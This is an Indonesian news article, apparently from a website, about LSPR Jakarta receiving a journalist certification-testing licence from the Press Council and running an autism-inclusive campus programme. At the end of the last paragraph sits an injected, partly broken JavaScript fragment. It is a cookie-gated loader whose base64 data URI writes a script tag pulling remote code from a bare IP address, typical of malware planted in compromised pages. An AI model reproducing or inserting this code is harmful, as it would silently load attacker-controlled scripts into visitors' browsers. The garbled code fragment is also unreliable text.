LSPR Luncurkan Sertifikasi Profesi Wartawan

LSPR akan menerima Lisensi Uji Sertifikasi Wartawan dari Dewan Pers yang akan diserahkan kepada Lembaga Sertifikasi Profesi LSPR (LSP – LSPR) oleh Ketua Dewan Pers Bagir Manan dalam pelaksanaan wisuda 1044 wisudawan LSPR pada Selasa (10/12), seperti yang dikemukakan dalam temu wartawan pada Senin (9/12) di kawasan Sudirman Jakarta.

Prita Kemal Gani, Director and Founder STIKOM LSPR Jakarta mengatakan Perguruan Tinggi memiliki peran dalam menciptakan kompetensi profesi termasuk wartawan. “Banyak alumni dari LSPR yang berasal dari konsentrasi mass communication bekerja sebagai wartawan di media, dan sertifikasi profesi ini penting,” ujar Prita.

London School of Public Relations

Sertifikasi ini merupakan sertifikasi kedua yang diterima LSP LSPR, setelah pada bulan September yang lalu, LSPR resmi memiliki Lembaga Sertifikasi Profesi LSPR (LSP – LSPR) pada bidang Kehumasan.

Dr. Andre Ikhsano, M.Si., Director LSP LSPR mengatakan, “Pentingnya sertifikasi terkait dengan apa yang dilakukan wartawan sehari-hari sudah legal, profesi lain juga sudah ada seperti dokter dan pilot. Hal ini terkait juga bahwa 2014 semua wartawan wajib memiliki sertifikasi.”

Andre menambahkan, LSPR sejak 2002 selalu mendapat pengakuan dari Badan Akreditasi Nasional dengan nilai A. Terkait dengan reputasi yang baik ini, LSPR dapat memperoleh lisensi Uji Kompetensi Wartawan yang rencananya akan mulai beroperasi Januari 2014 mendatang dan LSPR akan menjadi perguruan tinggi swasta pertama yang menggelar uji kompetensi wartawan ini.

Prita menambahkan, “Saat ini alumni LSPR yang bekerja sebagai wartawan di media menjadi prioritas untuk mengikuti Uji Kompetensi ini, namun tidak menutup kemungkinan dari umum.”

Selain itu, dalam acara temu wartawan ini juga LSPR memaparkan konsep Insklusi yaitu LSPR sebagai autism friendly campus, dimana LSPR menerima mahasiswa dengan kebutuhan khusus dengan didukung fasilitas dan SDM dengan perlakuan khusus yang didukung tenaga ahli seperti therapist, psikolog, dll dengan program yang disebut Beyond Academy.

Prita mengemukakan bahwa saat ini ada 16 orang dalam program Beyond Academy ini dan ada dua orang yang sudah berbaur dengan umum atau mainstream. “Program ini sudah berjalan selama dua tahun sedangkan kampus centre-nya sendiri sudah ada sejak 2008,” ujarnya. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Sign In

Get the most out of SWA by signing in to your account

(close)

Register

Have an account? Sign In
(close)